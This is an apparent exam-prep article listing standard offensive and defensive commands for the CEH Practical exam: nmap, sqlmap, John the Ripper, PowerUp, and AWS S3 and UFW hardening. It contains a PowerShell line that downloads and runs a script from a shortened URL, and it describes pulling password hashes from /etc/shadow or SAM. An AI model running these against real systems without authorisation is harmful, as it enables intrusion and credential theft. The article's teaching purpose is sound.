Essential Cybersecurity Commands and Techniques for Ethical Hackers

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Introduction

The Certified Ethical Hacker (CEH) Practical exam tests hands-on skills in penetration testing, vulnerability assessment, and defensive techniques. Aspiring cybersecurity professionals must master a variety of tools and commands across Linux, Windows, and web application security. Below are key commands and techniques to help you succeed in ethical hacking.

Learning Objectives

  • Understand critical Linux and Windows commands for penetration testing.
  • Learn how to identify and exploit SQL injection vulnerabilities.
  • Master defensive techniques to secure systems against attacks.

You Should Know

1. Network Scanning with Nmap

Command:

nmap -sV -A -T4 target_ip

Explanation:

  • -sV: Detects service versions.
  • -A: Enables aggressive scanning (OS detection, script scanning).
  • -T4: Sets timing template for faster scans.

Steps:

  1. Install Nmap (sudo apt install nmap on Linux).
  2. Run the command against a target IP to identify open ports and services.

2. SQL Injection Exploitation with SQLmap

Command:

sqlmap -u "http://example.com/login.php?id=1" --dbs

Explanation:

  • -u: Specifies the vulnerable URL.
  • --dbs: Lists available databases.

Steps:

1. Identify a vulnerable parameter (e.g., `id=1`).

2. Use SQLmap to extract database information.

3. Password Cracking with John the Ripper

Command:

john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

Explanation:

  • --wordlist: Specifies a dictionary file.
  • hashes.txt: Contains password hashes.

Steps:

  1. Extract hashes from `/etc/shadow` (Linux) or SAM (Windows).

2. Run John to crack weak passwords.

4. Windows Privilege Escalation with PowerUp

Command (PowerShell):

Invoke-AllChecks

Explanation:

  • Runs PowerUp’s checks for misconfigurations.

Steps:

  1. Download PowerUp (iex (New-Object Net.WebClient).DownloadString('http://bit.ly/PowerUpS')).

2. Execute checks to find escalation paths.

5. Cloud Security: AWS S3 Bucket Hardening

Command (AWS CLI):

aws s3api put-bucket-acl --bucket my-bucket --acl private

Explanation:

  • Restricts S3 bucket access to authorized users.

Steps:

1. Install AWS CLI (`sudo apt install awscli`).

2. Configure credentials (`aws configure`).

3. Apply the command to secure buckets.

6. API Security Testing with OWASP ZAP

Command:

./zap.sh -cmd -quickurl http://api.example.com -quickprogress

Explanation:

  • -quickurl: Targets an API endpoint.
  • -quickprogress: Runs automated scans.

Steps:

1. Download OWASP ZAP.

2. Execute the command to test for vulnerabilities.

7. Linux Firewall Hardening with UFW

Command:

sudo ufw enable && sudo ufw default deny incoming

Explanation:

  • Enables UFW (Uncomplicated Firewall).
  • Blocks all incoming traffic by default.

Steps:

1. Install UFW (`sudo apt install ufw`).

2. Apply the rules to secure the system.

What Undercode Say

  • Key Takeaway 1: Hands-on practice with tools like Nmap and SQLmap is essential for passing the CEH Practical exam.
  • Key Takeaway 2: Defensive techniques (e.g., UFW, AWS S3 hardening) are just as critical as offensive skills.

Analysis:

The CEH Practical exam emphasizes real-world skills, requiring candidates to balance exploitation and mitigation. Mastering these commands ensures readiness for both the exam and professional engagements. Future trends suggest increased focus on cloud and API security, making these skills indispensable.

This article provides actionable commands and techniques for aspiring ethical hackers, aligning with CEH Practical exam requirements and industry demands.

IT/Security Reporter URL:

Reported By: Anuj Kumar – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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